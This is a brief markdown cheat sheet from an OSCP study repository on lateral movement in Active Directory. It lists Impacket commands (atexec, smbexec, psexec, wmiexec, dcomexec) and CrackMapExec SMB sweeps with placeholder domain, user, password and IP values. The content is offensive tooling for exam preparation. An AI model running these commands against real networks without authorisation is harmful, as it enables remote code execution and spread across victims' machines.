oscp/Windows/Active Directory for OSCP/Lateral Movement/Pseudo-Shell.md

#For psexec write ADMIN$ writeable shares in the machine with powerview scripts

- atexec.py <domain>/<user>:<password>@<ip> "command"
- smbexec.py <domain>/<user>:<password>@<ip>
- psexec.py <domain>/<user>:<password>@<ip>
- wmiexec.py <domain>/<user>:<password>@<ip>
- dcomexec.py <domain>/<user>:<password>@<ip>
- crackmapexec smb <ip_range> -u <user> -d <domain>
- crackmapexec smb <ip_range> -u <user> -d <domain> -local-auth